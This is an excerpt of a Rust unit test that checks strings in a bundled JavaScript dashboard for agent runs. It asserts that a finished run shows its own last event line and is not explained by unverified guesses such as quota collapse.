5266
5267 #[test]
5268 fn a_finished_run_explains_itself_with_its_own_last_line() {
5269 assert!(
5275 !APP_JS.contains("collapsed on agent quota"),
5276 "a stall must not be explained by a cause the deck did not check"
5277 );
5278 assert!(
5279 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
5280 "and a block must not offer a guess with an `or` in it"
5281 );
5282
5283 assert!(
5287 APP_JS.contains("setText(r.event, run.event || \"\")"),
5288 "the run's last line is rendered unconditionally"
5289 );
5290 assert!(
5291 !APP_JS.contains("moving && run.event"),
5292 "and never gated on the run still moving"
5293 );
5294
5295 assert!(APP_JS.contains("lost to quota"));
5297 }
5298}